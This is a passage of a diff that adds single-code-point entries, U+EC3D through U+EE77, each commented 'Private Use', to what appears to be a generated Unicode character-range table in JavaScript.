+ ["\uEC3D", "\uEC3D"], /* Private Use */
+ ["\uEC3E", "\uEC3E"], /* Private Use */
+ ["\uEC3F", "\uEC3F"], /* Private Use */
+ ["\uEC40", "\uEC40"], /* Private Use */
+ ["\uEC41", "\uEC41"], /* Private Use */
+ ["\uEC42", "\uEC42"], /* Private Use */
+ ["\uEC43", "\uEC43"], /* Private Use */
+ ["\uEC44", "\uEC44"], /* Private Use */
+ ["\uEC45", "\uEC45"], /* Private Use */
+ ["\uEC46", "\uEC46"], /* Private Use */
+ ["\uEC47", "\uEC47"], /* Private Use */
+ ["\uEC48", "\uEC48"], /* Private Use */
+ ["\uEC49", "\uEC49"], /* Private Use */
+ ["\uEC4A", "\uEC4A"], /* Private Use */
+ ["\uEC4B", "\uEC4B"], /* Private Use */
+ ["\uEC4C", "\uEC4C"], /* Private Use */
+ ["\uEC4D", "\uEC4D"], /* Private Use */
+ ["\uEC4E", "\uEC4E"], /* Private Use */
+ ["\uEC4F", "\uEC4F"], /* Private Use */
+ ["\uEC50", "\uEC50"], /* Private Use */
+ ["\uEC51", "\uEC51"], /* Private Use */
+ ["\uEC52", "\uEC52"], /* Private Use */
+ ["\uEC53", "\uEC53"], /* Private Use */
+ ["\uEC54", "\uEC54"], /* Private Use */
+ ["\uEC55", "\uEC55"], /* Private Use */
+ ["\uEC56", "\uEC56"], /* Private Use */
+ ["\uEC57", "\uEC57"], /* Private Use */
+ ["\uEC58", "\uEC58"], /* Private Use */
+ ["\uEC59", "\uEC59"], /* Private Use */
+ ["\uEC5A", "\uEC5A"], /* Private Use */
+ ["\uEC5B", "\uEC5B"], /* Private Use */
+ ["\uEC5C", "\uEC5C"], /* Private Use */
+ ["\uEC5D", "\uEC5D"], /* Private Use */
+ ["\uEC5E", "\uEC5E"], /* Private Use */
+ ["\uEC5F", "\uEC5F"], /* Private Use */
+ ["\uEC60", "\uEC60"], /* Private Use */
+ ["\uEC61", "\uEC61"], /* Private Use */
+ ["\uEC62", "\uEC62"], /* Private Use */
+ ["\uEC63", "\uEC63"], /* Private Use */
+ ["\uEC64", "\uEC64"], /* Private Use */
+ ["\uEC65", "\uEC65"], /* Private Use */
+ ["\uEC66", "\uEC66"], /* Private Use */
+ ["\uEC67", "\uEC67"], /* Private Use */
+ ["\uEC68", "\uEC68"], /* Private Use */
+ ["\uEC69", "\uEC69"], /* Private Use */
+ ["\uEC6A", "\uEC6A"], /* Private Use */
+ ["\uEC6B", "\uEC6B"], /* Private Use */
+ ["\uEC6C", "\uEC6C"], /* Private Use */
+ ["\uEC6D", "\uEC6D"], /* Private Use */
+ ["\uEC6E", "\uEC6E"], /* Private Use */
+ ["\uEC6F", "\uEC6F"], /* Private Use */
+ ["\uEC70", "\uEC70"], /* Private Use */
+ ["\uEC71", "\uEC71"], /* Private Use */
+ ["\uEC72", "\uEC72"], /* Private Use */
+ ["\uEC73", "\uEC73"], /* Private Use */
+ ["\uEC74", "\uEC74"], /* Private Use */
+ ["\uEC75", "\uEC75"], /* Private Use */
+ ["\uEC76", "\uEC76"], /* Private Use */
+ ["\uEC77", "\uEC77"], /* Private Use */
+ ["\uEC78", "\uEC78"], /* Private Use */
+ ["\uEC79", "\uEC79"], /* Private Use */
+ ["\uEC7A", "\uEC7A"], /* Private Use */
+ ["\uEC7B", "\uEC7B"], /* Private Use */
+ ["\uEC7C", "\uEC7C"], /* Private Use */
+ ["\uEC7D", "\uEC7D"], /* Private Use */
+ ["\uEC7E", "\uEC7E"], /* Private Use */
+ ["\uEC7F", "\uEC7F"], /* Private Use */
+ ["\uEC80", "\uEC80"], /* Private Use */
+ ["\uEC81", "\uEC81"], /* Private Use */
+ ["\uEC82", "\uEC82"], /* Private Use */
+ ["\uEC83", "\uEC83"], /* Private Use */
+ ["\uEC84", "\uEC84"], /* Private Use */
+ ["\uEC85", "\uEC85"], /* Private Use */
+ ["\uEC86", "\uEC86"], /* Private Use */
+ ["\uEC87", "\uEC87"], /* Private Use */
+ ["\uEC88", "\uEC88"], /* Private Use */
+ ["\uEC89", "\uEC89"], /* Private Use */
+ ["\uEC8A", "\uEC8A"], /* Private Use */
+ ["\uEC8B", "\uEC8B"], /* Private Use */
+ ["\uEC8C", "\uEC8C"], /* Private Use */
+ ["\uEC8D", "\uEC8D"], /* Private Use */
+ ["\uEC8E", "\uEC8E"], /* Private Use */
+ ["\uEC8F", "\uEC8F"], /* Private Use */
+ ["\uEC90", "\uEC90"], /* Private Use */
+ ["\uEC91", "\uEC91"], /* Private Use */
+ ["\uEC92", "\uEC92"], /* Private Use */
+ ["\uEC93", "\uEC93"], /* Private Use */
+ ["\uEC94", "\uEC94"], /* Private Use */
+ ["\uEC95", "\uEC95"], /* Private Use */
+ ["\uEC96", "\uEC96"], /* Private Use */
+ ["\uEC97", "\uEC97"], /* Private Use */
+ ["\uEC98", "\uEC98"], /* Private Use */
+ ["\uEC99", "\uEC99"], /* Private Use */
+ ["\uEC9A", "\uEC9A"], /* Private Use */
+ ["\uEC9B", "\uEC9B"], /* Private Use */
+ ["\uEC9C", "\uEC9C"], /* Private Use */
+ ["\uEC9D", "\uEC9D"], /* Private Use */
+ ["\uEC9E", "\uEC9E"], /* Private Use */
+ ["\uEC9F", "\uEC9F"], /* Private Use */
+ ["\uECA0", "\uECA0"], /* Private Use */
+ ["\uECA1", "\uECA1"], /* Private Use */
+ ["\uECA2", "\uECA2"], /* Private Use */
+ ["\uECA3", "\uECA3"], /* Private Use */
+ ["\uECA4", "\uECA4"], /* Private Use */
+ ["\uECA5", "\uECA5"], /* Private Use */
+ ["\uECA6", "\uECA6"], /* Private Use */
+ ["\uECA7", "\uECA7"], /* Private Use */
+ ["\uECA8", "\uECA8"], /* Private Use */
+ ["\uECA9", "\uECA9"], /* Private Use */
+ ["\uECAA", "\uECAA"], /* Private Use */
+ ["\uECAB", "\uECAB"], /* Private Use */
+ ["\uECAC", "\uECAC"], /* Private Use */
+ ["\uECAD", "\uECAD"], /* Private Use */
+ ["\uECAE", "\uECAE"], /* Private Use */
+ ["\uECAF", "\uECAF"], /* Private Use */
+ ["\uECB0", "\uECB0"], /* Private Use */
+ ["\uECB1", "\uECB1"], /* Private Use */
+ ["\uECB2", "\uECB2"], /* Private Use */
+ ["\uECB3", "\uECB3"], /* Private Use */
+ ["\uECB4", "\uECB4"], /* Private Use */
+ ["\uECB5", "\uECB5"], /* Private Use */
+ ["\uECB6", "\uECB6"], /* Private Use */
+ ["\uECB7", "\uECB7"], /* Private Use */
+ ["\uECB8", "\uECB8"], /* Private Use */
+ ["\uECB9", "\uECB9"], /* Private Use */
+ ["\uECBA", "\uECBA"], /* Private Use */
+ ["\uECBB", "\uECBB"], /* Private Use */
+ ["\uECBC", "\uECBC"], /* Private Use */
+ ["\uECBD", "\uECBD"], /* Private Use */
+ ["\uECBE", "\uECBE"], /* Private Use */
+ ["\uECBF", "\uECBF"], /* Private Use */
+ ["\uECC0", "\uECC0"], /* Private Use */
+ ["\uECC1", "\uECC1"], /* Private Use */
+ ["\uECC2", "\uECC2"], /* Private Use */
+ ["\uECC3", "\uECC3"], /* Private Use */
+ ["\uECC4", "\uECC4"], /* Private Use */
+ ["\uECC5", "\uECC5"], /* Private Use */
+ ["\uECC6", "\uECC6"], /* Private Use */
+ ["\uECC7", "\uECC7"], /* Private Use */
+ ["\uECC8", "\uECC8"], /* Private Use */
+ ["\uECC9", "\uECC9"], /* Private Use */
+ ["\uECCA", "\uECCA"], /* Private Use */
+ ["\uECCB", "\uECCB"], /* Private Use */
+ ["\uECCC", "\uECCC"], /* Private Use */
+ ["\uECCD", "\uECCD"], /* Private Use */
+ ["\uECCE", "\uECCE"], /* Private Use */
+ ["\uECCF", "\uECCF"], /* Private Use */
+ ["\uECD0", "\uECD0"], /* Private Use */
+ ["\uECD1", "\uECD1"], /* Private Use */
+ ["\uECD2", "\uECD2"], /* Private Use */
+ ["\uECD3", "\uECD3"], /* Private Use */
+ ["\uECD4", "\uECD4"], /* Private Use */
+ ["\uECD5", "\uECD5"], /* Private Use */
+ ["\uECD6", "\uECD6"], /* Private Use */
+ ["\uECD7", "\uECD7"], /* Private Use */
+ ["\uECD8", "\uECD8"], /* Private Use */
+ ["\uECD9", "\uECD9"], /* Private Use */
+ ["\uECDA", "\uECDA"], /* Private Use */
+ ["\uECDB", "\uECDB"], /* Private Use */
+ ["\uECDC", "\uECDC"], /* Private Use */
+ ["\uECDD", "\uECDD"], /* Private Use */
+ ["\uECDE", "\uECDE"], /* Private Use */
+ ["\uECDF", "\uECDF"], /* Private Use */
+ ["\uECE0", "\uECE0"], /* Private Use */
+ ["\uECE1", "\uECE1"], /* Private Use */
+ ["\uECE2", "\uECE2"], /* Private Use */
+ ["\uECE3", "\uECE3"], /* Private Use */
+ ["\uECE4", "\uECE4"], /* Private Use */
+ ["\uECE5", "\uECE5"], /* Private Use */
+ ["\uECE6", "\uECE6"], /* Private Use */
+ ["\uECE7", "\uECE7"], /* Private Use */
+ ["\uECE8", "\uECE8"], /* Private Use */
+ ["\uECE9", "\uECE9"], /* Private Use */
+ ["\uECEA", "\uECEA"], /* Private Use */
+ ["\uECEB", "\uECEB"], /* Private Use */
+ ["\uECEC", "\uECEC"], /* Private Use */
+ ["\uECED", "\uECED"], /* Private Use */
+ ["\uECEE", "\uECEE"], /* Private Use */
+ ["\uECEF", "\uECEF"], /* Private Use */
+ ["\uECF0", "\uECF0"], /* Private Use */
+ ["\uECF1", "\uECF1"], /* Private Use */
+ ["\uECF2", "\uECF2"], /* Private Use */
+ ["\uECF3", "\uECF3"], /* Private Use */
+ ["\uECF4", "\uECF4"], /* Private Use */
+ ["\uECF5", "\uECF5"], /* Private Use */
+ ["\uECF6", "\uECF6"], /* Private Use */
+ ["\uECF7", "\uECF7"], /* Private Use */
+ ["\uECF8", "\uECF8"], /* Private Use */
+ ["\uECF9", "\uECF9"], /* Private Use */
+ ["\uECFA", "\uECFA"], /* Private Use */
+ ["\uECFB", "\uECFB"], /* Private Use */
+ ["\uECFC", "\uECFC"], /* Private Use */
+ ["\uECFD", "\uECFD"], /* Private Use */
+ ["\uECFE", "\uECFE"], /* Private Use */
+ ["\uECFF", "\uECFF"], /* Private Use */
+ ["\uED00", "\uED00"], /* Private Use */
+ ["\uED01", "\uED01"], /* Private Use */
+ ["\uED02", "\uED02"], /* Private Use */
+ ["\uED03", "\uED03"], /* Private Use */
+ ["\uED04", "\uED04"], /* Private Use */
+ ["\uED05", "\uED05"], /* Private Use */
+ ["\uED06", "\uED06"], /* Private Use */
+ ["\uED07", "\uED07"], /* Private Use */
+ ["\uED08", "\uED08"], /* Private Use */
+ ["\uED09", "\uED09"], /* Private Use */
+ ["\uED0A", "\uED0A"], /* Private Use */
+ ["\uED0B", "\uED0B"], /* Private Use */
+ ["\uED0C", "\uED0C"], /* Private Use */
+ ["\uED0D", "\uED0D"], /* Private Use */
+ ["\uED0E", "\uED0E"], /* Private Use */
+ ["\uED0F", "\uED0F"], /* Private Use */
+ ["\uED10", "\uED10"], /* Private Use */
+ ["\uED11", "\uED11"], /* Private Use */
+ ["\uED12", "\uED12"], /* Private Use */
+ ["\uED13", "\uED13"], /* Private Use */
+ ["\uED14", "\uED14"], /* Private Use */
+ ["\uED15", "\uED15"], /* Private Use */
+ ["\uED16", "\uED16"], /* Private Use */
+ ["\uED17", "\uED17"], /* Private Use */
+ ["\uED18", "\uED18"], /* Private Use */
+ ["\uED19", "\uED19"], /* Private Use */
+ ["\uED1A", "\uED1A"], /* Private Use */
+ ["\uED1B", "\uED1B"], /* Private Use */
+ ["\uED1C", "\uED1C"], /* Private Use */
+ ["\uED1D", "\uED1D"], /* Private Use */
+ ["\uED1E", "\uED1E"], /* Private Use */
+ ["\uED1F", "\uED1F"], /* Private Use */
+ ["\uED20", "\uED20"], /* Private Use */
+ ["\uED21", "\uED21"], /* Private Use */
+ ["\uED22", "\uED22"], /* Private Use */
+ ["\uED23", "\uED23"], /* Private Use */
+ ["\uED24", "\uED24"], /* Private Use */
+ ["\uED25", "\uED25"], /* Private Use */
+ ["\uED26", "\uED26"], /* Private Use */
+ ["\uED27", "\uED27"], /* Private Use */
+ ["\uED28", "\uED28"], /* Private Use */
+ ["\uED29", "\uED29"], /* Private Use */
+ ["\uED2A", "\uED2A"], /* Private Use */
+ ["\uED2B", "\uED2B"], /* Private Use */
+ ["\uED2C", "\uED2C"], /* Private Use */
+ ["\uED2D", "\uED2D"], /* Private Use */
+ ["\uED2E", "\uED2E"], /* Private Use */
+ ["\uED2F", "\uED2F"], /* Private Use */
+ ["\uED30", "\uED30"], /* Private Use */
+ ["\uED31", "\uED31"], /* Private Use */
+ ["\uED32", "\uED32"], /* Private Use */
+ ["\uED33", "\uED33"], /* Private Use */
+ ["\uED34", "\uED34"], /* Private Use */
+ ["\uED35", "\uED35"], /* Private Use */
+ ["\uED36", "\uED36"], /* Private Use */
+ ["\uED37", "\uED37"], /* Private Use */
+ ["\uED38", "\uED38"], /* Private Use */
+ ["\uED39", "\uED39"], /* Private Use */
+ ["\uED3A", "\uED3A"], /* Private Use */
+ ["\uED3B", "\uED3B"], /* Private Use */
+ ["\uED3C", "\uED3C"], /* Private Use */
+ ["\uED3D", "\uED3D"], /* Private Use */
+ ["\uED3E", "\uED3E"], /* Private Use */
+ ["\uED3F", "\uED3F"], /* Private Use */
+ ["\uED40", "\uED40"], /* Private Use */
+ ["\uED41", "\uED41"], /* Private Use */
+ ["\uED42", "\uED42"], /* Private Use */
+ ["\uED43", "\uED43"], /* Private Use */
+ ["\uED44", "\uED44"], /* Private Use */
+ ["\uED45", "\uED45"], /* Private Use */
+ ["\uED46", "\uED46"], /* Private Use */
+ ["\uED47", "\uED47"], /* Private Use */
+ ["\uED48", "\uED48"], /* Private Use */
+ ["\uED49", "\uED49"], /* Private Use */
+ ["\uED4A", "\uED4A"], /* Private Use */
+ ["\uED4B", "\uED4B"], /* Private Use */
+ ["\uED4C", "\uED4C"], /* Private Use */
+ ["\uED4D", "\uED4D"], /* Private Use */
+ ["\uED4E", "\uED4E"], /* Private Use */
+ ["\uED4F", "\uED4F"], /* Private Use */
+ ["\uED50", "\uED50"], /* Private Use */
+ ["\uED51", "\uED51"], /* Private Use */
+ ["\uED52", "\uED52"], /* Private Use */
+ ["\uED53", "\uED53"], /* Private Use */
+ ["\uED54", "\uED54"], /* Private Use */
+ ["\uED55", "\uED55"], /* Private Use */
+ ["\uED56", "\uED56"], /* Private Use */
+ ["\uED57", "\uED57"], /* Private Use */
+ ["\uED58", "\uED58"], /* Private Use */
+ ["\uED59", "\uED59"], /* Private Use */
+ ["\uED5A", "\uED5A"], /* Private Use */
+ ["\uED5B", "\uED5B"], /* Private Use */
+ ["\uED5C", "\uED5C"], /* Private Use */
+ ["\uED5D", "\uED5D"], /* Private Use */
+ ["\uED5E", "\uED5E"], /* Private Use */
+ ["\uED5F", "\uED5F"], /* Private Use */
+ ["\uED60", "\uED60"], /* Private Use */
+ ["\uED61", "\uED61"], /* Private Use */
+ ["\uED62", "\uED62"], /* Private Use */
+ ["\uED63", "\uED63"], /* Private Use */
+ ["\uED64", "\uED64"], /* Private Use */
+ ["\uED65", "\uED65"], /* Private Use */
+ ["\uED66", "\uED66"], /* Private Use */
+ ["\uED67", "\uED67"], /* Private Use */
+ ["\uED68", "\uED68"], /* Private Use */
+ ["\uED69", "\uED69"], /* Private Use */
+ ["\uED6A", "\uED6A"], /* Private Use */
+ ["\uED6B", "\uED6B"], /* Private Use */
+ ["\uED6C", "\uED6C"], /* Private Use */
+ ["\uED6D", "\uED6D"], /* Private Use */
+ ["\uED6E", "\uED6E"], /* Private Use */
+ ["\uED6F", "\uED6F"], /* Private Use */
+ ["\uED70", "\uED70"], /* Private Use */
+ ["\uED71", "\uED71"], /* Private Use */
+ ["\uED72", "\uED72"], /* Private Use */
+ ["\uED73", "\uED73"], /* Private Use */
+ ["\uED74", "\uED74"], /* Private Use */
+ ["\uED75", "\uED75"], /* Private Use */
+ ["\uED76", "\uED76"], /* Private Use */
+ ["\uED77", "\uED77"], /* Private Use */
+ ["\uED78", "\uED78"], /* Private Use */
+ ["\uED79", "\uED79"], /* Private Use */
+ ["\uED7A", "\uED7A"], /* Private Use */
+ ["\uED7B", "\uED7B"], /* Private Use */
+ ["\uED7C", "\uED7C"], /* Private Use */
+ ["\uED7D", "\uED7D"], /* Private Use */
+ ["\uED7E", "\uED7E"], /* Private Use */
+ ["\uED7F", "\uED7F"], /* Private Use */
+ ["\uED80", "\uED80"], /* Private Use */
+ ["\uED81", "\uED81"], /* Private Use */
+ ["\uED82", "\uED82"], /* Private Use */
+ ["\uED83", "\uED83"], /* Private Use */
+ ["\uED84", "\uED84"], /* Private Use */
+ ["\uED85", "\uED85"], /* Private Use */
+ ["\uED86", "\uED86"], /* Private Use */
+ ["\uED87", "\uED87"], /* Private Use */
+ ["\uED88", "\uED88"], /* Private Use */
+ ["\uED89", "\uED89"], /* Private Use */
+ ["\uED8A", "\uED8A"], /* Private Use */
+ ["\uED8B", "\uED8B"], /* Private Use */
+ ["\uED8C", "\uED8C"], /* Private Use */
+ ["\uED8D", "\uED8D"], /* Private Use */
+ ["\uED8E", "\uED8E"], /* Private Use */
+ ["\uED8F", "\uED8F"], /* Private Use */
+ ["\uED90", "\uED90"], /* Private Use */
+ ["\uED91", "\uED91"], /* Private Use */
+ ["\uED92", "\uED92"], /* Private Use */
+ ["\uED93", "\uED93"], /* Private Use */
+ ["\uED94", "\uED94"], /* Private Use */
+ ["\uED95", "\uED95"], /* Private Use */
+ ["\uED96", "\uED96"], /* Private Use */
+ ["\uED97", "\uED97"], /* Private Use */
+ ["\uED98", "\uED98"], /* Private Use */
+ ["\uED99", "\uED99"], /* Private Use */
+ ["\uED9A", "\uED9A"], /* Private Use */
+ ["\uED9B", "\uED9B"], /* Private Use */
+ ["\uED9C", "\uED9C"], /* Private Use */
+ ["\uED9D", "\uED9D"], /* Private Use */
+ ["\uED9E", "\uED9E"], /* Private Use */
+ ["\uED9F", "\uED9F"], /* Private Use */
+ ["\uEDA0", "\uEDA0"], /* Private Use */
+ ["\uEDA1", "\uEDA1"], /* Private Use */
+ ["\uEDA2", "\uEDA2"], /* Private Use */
+ ["\uEDA3", "\uEDA3"], /* Private Use */
+ ["\uEDA4", "\uEDA4"], /* Private Use */
+ ["\uEDA5", "\uEDA5"], /* Private Use */
+ ["\uEDA6", "\uEDA6"], /* Private Use */
+ ["\uEDA7", "\uEDA7"], /* Private Use */
+ ["\uEDA8", "\uEDA8"], /* Private Use */
+ ["\uEDA9", "\uEDA9"], /* Private Use */
+ ["\uEDAA", "\uEDAA"], /* Private Use */
+ ["\uEDAB", "\uEDAB"], /* Private Use */
+ ["\uEDAC", "\uEDAC"], /* Private Use */
+ ["\uEDAD", "\uEDAD"], /* Private Use */
+ ["\uEDAE", "\uEDAE"], /* Private Use */
+ ["\uEDAF", "\uEDAF"], /* Private Use */
+ ["\uEDB0", "\uEDB0"], /* Private Use */
+ ["\uEDB1", "\uEDB1"], /* Private Use */
+ ["\uEDB2", "\uEDB2"], /* Private Use */
+ ["\uEDB3", "\uEDB3"], /* Private Use */
+ ["\uEDB4", "\uEDB4"], /* Private Use */
+ ["\uEDB5", "\uEDB5"], /* Private Use */
+ ["\uEDB6", "\uEDB6"], /* Private Use */
+ ["\uEDB7", "\uEDB7"], /* Private Use */
+ ["\uEDB8", "\uEDB8"], /* Private Use */
+ ["\uEDB9", "\uEDB9"], /* Private Use */
+ ["\uEDBA", "\uEDBA"], /* Private Use */
+ ["\uEDBB", "\uEDBB"], /* Private Use */
+ ["\uEDBC", "\uEDBC"], /* Private Use */
+ ["\uEDBD", "\uEDBD"], /* Private Use */
+ ["\uEDBE", "\uEDBE"], /* Private Use */
+ ["\uEDBF", "\uEDBF"], /* Private Use */
+ ["\uEDC0", "\uEDC0"], /* Private Use */
+ ["\uEDC1", "\uEDC1"], /* Private Use */
+ ["\uEDC2", "\uEDC2"], /* Private Use */
+ ["\uEDC3", "\uEDC3"], /* Private Use */
+ ["\uEDC4", "\uEDC4"], /* Private Use */
+ ["\uEDC5", "\uEDC5"], /* Private Use */
+ ["\uEDC6", "\uEDC6"], /* Private Use */
+ ["\uEDC7", "\uEDC7"], /* Private Use */
+ ["\uEDC8", "\uEDC8"], /* Private Use */
+ ["\uEDC9", "\uEDC9"], /* Private Use */
+ ["\uEDCA", "\uEDCA"], /* Private Use */
+ ["\uEDCB", "\uEDCB"], /* Private Use */
+ ["\uEDCC", "\uEDCC"], /* Private Use */
+ ["\uEDCD", "\uEDCD"], /* Private Use */
+ ["\uEDCE", "\uEDCE"], /* Private Use */
+ ["\uEDCF", "\uEDCF"], /* Private Use */
+ ["\uEDD0", "\uEDD0"], /* Private Use */
+ ["\uEDD1", "\uEDD1"], /* Private Use */
+ ["\uEDD2", "\uEDD2"], /* Private Use */
+ ["\uEDD3", "\uEDD3"], /* Private Use */
+ ["\uEDD4", "\uEDD4"], /* Private Use */
+ ["\uEDD5", "\uEDD5"], /* Private Use */
+ ["\uEDD6", "\uEDD6"], /* Private Use */
+ ["\uEDD7", "\uEDD7"], /* Private Use */
+ ["\uEDD8", "\uEDD8"], /* Private Use */
+ ["\uEDD9", "\uEDD9"], /* Private Use */
+ ["\uEDDA", "\uEDDA"], /* Private Use */
+ ["\uEDDB", "\uEDDB"], /* Private Use */
+ ["\uEDDC", "\uEDDC"], /* Private Use */
+ ["\uEDDD", "\uEDDD"], /* Private Use */
+ ["\uEDDE", "\uEDDE"], /* Private Use */
+ ["\uEDDF", "\uEDDF"], /* Private Use */
+ ["\uEDE0", "\uEDE0"], /* Private Use */
+ ["\uEDE1", "\uEDE1"], /* Private Use */
+ ["\uEDE2", "\uEDE2"], /* Private Use */
+ ["\uEDE3", "\uEDE3"], /* Private Use */
+ ["\uEDE4", "\uEDE4"], /* Private Use */
+ ["\uEDE5", "\uEDE5"], /* Private Use */
+ ["\uEDE6", "\uEDE6"], /* Private Use */
+ ["\uEDE7", "\uEDE7"], /* Private Use */
+ ["\uEDE8", "\uEDE8"], /* Private Use */
+ ["\uEDE9", "\uEDE9"], /* Private Use */
+ ["\uEDEA", "\uEDEA"], /* Private Use */
+ ["\uEDEB", "\uEDEB"], /* Private Use */
+ ["\uEDEC", "\uEDEC"], /* Private Use */
+ ["\uEDED", "\uEDED"], /* Private Use */
+ ["\uEDEE", "\uEDEE"], /* Private Use */
+ ["\uEDEF", "\uEDEF"], /* Private Use */
+ ["\uEDF0", "\uEDF0"], /* Private Use */
+ ["\uEDF1", "\uEDF1"], /* Private Use */
+ ["\uEDF2", "\uEDF2"], /* Private Use */
+ ["\uEDF3", "\uEDF3"], /* Private Use */
+ ["\uEDF4", "\uEDF4"], /* Private Use */
+ ["\uEDF5", "\uEDF5"], /* Private Use */
+ ["\uEDF6", "\uEDF6"], /* Private Use */
+ ["\uEDF7", "\uEDF7"], /* Private Use */
+ ["\uEDF8", "\uEDF8"], /* Private Use */
+ ["\uEDF9", "\uEDF9"], /* Private Use */
+ ["\uEDFA", "\uEDFA"], /* Private Use */
+ ["\uEDFB", "\uEDFB"], /* Private Use */
+ ["\uEDFC", "\uEDFC"], /* Private Use */
+ ["\uEDFD", "\uEDFD"], /* Private Use */
+ ["\uEDFE", "\uEDFE"], /* Private Use */
+ ["\uEDFF", "\uEDFF"], /* Private Use */
+ ["\uEE00", "\uEE00"], /* Private Use */
+ ["\uEE01", "\uEE01"], /* Private Use */
+ ["\uEE02", "\uEE02"], /* Private Use */
+ ["\uEE03", "\uEE03"], /* Private Use */
+ ["\uEE04", "\uEE04"], /* Private Use */
+ ["\uEE05", "\uEE05"], /* Private Use */
+ ["\uEE06", "\uEE06"], /* Private Use */
+ ["\uEE07", "\uEE07"], /* Private Use */
+ ["\uEE08", "\uEE08"], /* Private Use */
+ ["\uEE09", "\uEE09"], /* Private Use */
+ ["\uEE0A", "\uEE0A"], /* Private Use */
+ ["\uEE0B", "\uEE0B"], /* Private Use */
+ ["\uEE0C", "\uEE0C"], /* Private Use */
+ ["\uEE0D", "\uEE0D"], /* Private Use */
+ ["\uEE0E", "\uEE0E"], /* Private Use */
+ ["\uEE0F", "\uEE0F"], /* Private Use */
+ ["\uEE10", "\uEE10"], /* Private Use */
+ ["\uEE11", "\uEE11"], /* Private Use */
+ ["\uEE12", "\uEE12"], /* Private Use */
+ ["\uEE13", "\uEE13"], /* Private Use */
+ ["\uEE14", "\uEE14"], /* Private Use */
+ ["\uEE15", "\uEE15"], /* Private Use */
+ ["\uEE16", "\uEE16"], /* Private Use */
+ ["\uEE17", "\uEE17"], /* Private Use */
+ ["\uEE18", "\uEE18"], /* Private Use */
+ ["\uEE19", "\uEE19"], /* Private Use */
+ ["\uEE1A", "\uEE1A"], /* Private Use */
+ ["\uEE1B", "\uEE1B"], /* Private Use */
+ ["\uEE1C", "\uEE1C"], /* Private Use */
+ ["\uEE1D", "\uEE1D"], /* Private Use */
+ ["\uEE1E", "\uEE1E"], /* Private Use */
+ ["\uEE1F", "\uEE1F"], /* Private Use */
+ ["\uEE20", "\uEE20"], /* Private Use */
+ ["\uEE21", "\uEE21"], /* Private Use */
+ ["\uEE22", "\uEE22"], /* Private Use */
+ ["\uEE23", "\uEE23"], /* Private Use */
+ ["\uEE24", "\uEE24"], /* Private Use */
+ ["\uEE25", "\uEE25"], /* Private Use */
+ ["\uEE26", "\uEE26"], /* Private Use */
+ ["\uEE27", "\uEE27"], /* Private Use */
+ ["\uEE28", "\uEE28"], /* Private Use */
+ ["\uEE29", "\uEE29"], /* Private Use */
+ ["\uEE2A", "\uEE2A"], /* Private Use */
+ ["\uEE2B", "\uEE2B"], /* Private Use */
+ ["\uEE2C", "\uEE2C"], /* Private Use */
+ ["\uEE2D", "\uEE2D"], /* Private Use */
+ ["\uEE2E", "\uEE2E"], /* Private Use */
+ ["\uEE2F", "\uEE2F"], /* Private Use */
+ ["\uEE30", "\uEE30"], /* Private Use */
+ ["\uEE31", "\uEE31"], /* Private Use */
+ ["\uEE32", "\uEE32"], /* Private Use */
+ ["\uEE33", "\uEE33"], /* Private Use */
+ ["\uEE34", "\uEE34"], /* Private Use */
+ ["\uEE35", "\uEE35"], /* Private Use */
+ ["\uEE36", "\uEE36"], /* Private Use */
+ ["\uEE37", "\uEE37"], /* Private Use */
+ ["\uEE38", "\uEE38"], /* Private Use */
+ ["\uEE39", "\uEE39"], /* Private Use */
+ ["\uEE3A", "\uEE3A"], /* Private Use */
+ ["\uEE3B", "\uEE3B"], /* Private Use */
+ ["\uEE3C", "\uEE3C"], /* Private Use */
+ ["\uEE3D", "\uEE3D"], /* Private Use */
+ ["\uEE3E", "\uEE3E"], /* Private Use */
+ ["\uEE3F", "\uEE3F"], /* Private Use */
+ ["\uEE40", "\uEE40"], /* Private Use */
+ ["\uEE41", "\uEE41"], /* Private Use */
+ ["\uEE42", "\uEE42"], /* Private Use */
+ ["\uEE43", "\uEE43"], /* Private Use */
+ ["\uEE44", "\uEE44"], /* Private Use */
+ ["\uEE45", "\uEE45"], /* Private Use */
+ ["\uEE46", "\uEE46"], /* Private Use */
+ ["\uEE47", "\uEE47"], /* Private Use */
+ ["\uEE48", "\uEE48"], /* Private Use */
+ ["\uEE49", "\uEE49"], /* Private Use */
+ ["\uEE4A", "\uEE4A"], /* Private Use */
+ ["\uEE4B", "\uEE4B"], /* Private Use */
+ ["\uEE4C", "\uEE4C"], /* Private Use */
+ ["\uEE4D", "\uEE4D"], /* Private Use */
+ ["\uEE4E", "\uEE4E"], /* Private Use */
+ ["\uEE4F", "\uEE4F"], /* Private Use */
+ ["\uEE50", "\uEE50"], /* Private Use */
+ ["\uEE51", "\uEE51"], /* Private Use */
+ ["\uEE52", "\uEE52"], /* Private Use */
+ ["\uEE53", "\uEE53"], /* Private Use */
+ ["\uEE54", "\uEE54"], /* Private Use */
+ ["\uEE55", "\uEE55"], /* Private Use */
+ ["\uEE56", "\uEE56"], /* Private Use */
+ ["\uEE57", "\uEE57"], /* Private Use */
+ ["\uEE58", "\uEE58"], /* Private Use */
+ ["\uEE59", "\uEE59"], /* Private Use */
+ ["\uEE5A", "\uEE5A"], /* Private Use */
+ ["\uEE5B", "\uEE5B"], /* Private Use */
+ ["\uEE5C", "\uEE5C"], /* Private Use */
+ ["\uEE5D", "\uEE5D"], /* Private Use */
+ ["\uEE5E", "\uEE5E"], /* Private Use */
+ ["\uEE5F", "\uEE5F"], /* Private Use */
+ ["\uEE60", "\uEE60"], /* Private Use */
+ ["\uEE61", "\uEE61"], /* Private Use */
+ ["\uEE62", "\uEE62"], /* Private Use */
+ ["\uEE63", "\uEE63"], /* Private Use */
+ ["\uEE64", "\uEE64"], /* Private Use */
+ ["\uEE65", "\uEE65"], /* Private Use */
+ ["\uEE66", "\uEE66"], /* Private Use */
+ ["\uEE67", "\uEE67"], /* Private Use */
+ ["\uEE68", "\uEE68"], /* Private Use */
+ ["\uEE69", "\uEE69"], /* Private Use */
+ ["\uEE6A", "\uEE6A"], /* Private Use */
+ ["\uEE6B", "\uEE6B"], /* Private Use */
+ ["\uEE6C", "\uEE6C"], /* Private Use */
+ ["\uEE6D", "\uEE6D"], /* Private Use */
+ ["\uEE6E", "\uEE6E"], /* Private Use */
+ ["\uEE6F", "\uEE6F"], /* Private Use */
+ ["\uEE70", "\uEE70"], /* Private Use */
+ ["\uEE71", "\uEE71"], /* Private Use */
+ ["\uEE72", "\uEE72"], /* Private Use */
+ ["\uEE73", "\uEE73"], /* Private Use */
+ ["\uEE74", "\uEE74"], /* Private Use */
+ ["\uEE75", "\uEE75"], /* Private Use */
+ ["\uEE76", "\uEE76"], /* Private Use */
+ ["\uEE77", "\uEE77"], /* Private Use */
